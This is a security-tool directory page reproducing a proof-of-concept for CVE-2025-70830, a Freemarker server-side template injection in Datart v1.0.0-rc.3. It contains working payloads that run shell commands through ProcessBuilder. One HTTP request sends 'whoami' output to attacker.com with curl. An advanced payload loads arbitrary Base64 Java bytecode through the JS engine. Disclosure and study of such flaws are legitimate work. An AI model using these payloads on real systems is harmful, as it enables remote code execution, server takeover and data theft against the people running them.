Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-70830 — A Server-Side Template Injection (SSTI) vulnerability in the Freemarker template engine of Datart v1.0.0-rc.3 allows authenticated attackers to execute arbitrary code via injecting crafted Freemarker template syntax into the SQL script field. | Kitploit
Tools/GitHubGitHub/xiaoxiaoranxxx/cve-2025-70830
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubxiaoxiaoranxxx/cve-2025-70830

CVE-2025-70830

A Server-Side Template Injection (SSTI) vulnerability in the Freemarker template engine of Datart v1.0.0-rc.3 allows authenticated attackers to execute arbitrary code via injecting crafted Freemarker template syntax into the SQL script field.

View Repository
5289 months agoNot yet reviewed
Share

CVE-2025-70830: Datart Server-Side Template Injection (SSTI)

Vulnerability Overview (Overview)

  • CVE ID: CVE-2025-70830
  • Affected Product: Datart
  • Affected Version: v1.0.0-rc.3
  • Vulnerability Type: Server-Side Template Injection (SSTI) - Server-Side Template Injection
  • Risk Level: Remote Code Execution (RCE)

Vulnerability Description (Description)

The Freemarker template engine in Datart v1.0.0-rc.3 has a Server-Side Template Injection (SSTI) vulnerability. An authenticated attacker can inject malicious Freemarker template syntax into the SQL script field to execute arbitrary system commands.

Reproduction Steps (Proof of Concept)

1. Prerequisites

  • Log in to the Datart system.
  • Be able to access and edit a data source with SQL execution capability.

2. Payload Construction

In the SQL script/query editor, enter the following Freemarker Payload to execute system commands (e.g., id or calc):

<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1

Click to execute the script, and the server will execute the command in the background.

3. HTTP Request Example

The request packet to trigger the vulnerability via API is as follows:

POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "sourceId": "valid_source_id",
  "script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
  "scriptType": "SQL",
  "size": 100
}

Advanced Exploitation

Load Custom Bytecode (Load Custom Bytecode)

Attackers can use Java's javax.script.ScriptEngineManager to invoke the JS engine to load and execute arbitrary Base64-encoded Java bytecode.

Payload Example:

POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
  "sourceId": "valid_source_id",
  "size": 1000,
  "scriptType": "SQL",
  "columns": "",
  "variables": []
}
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    370
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →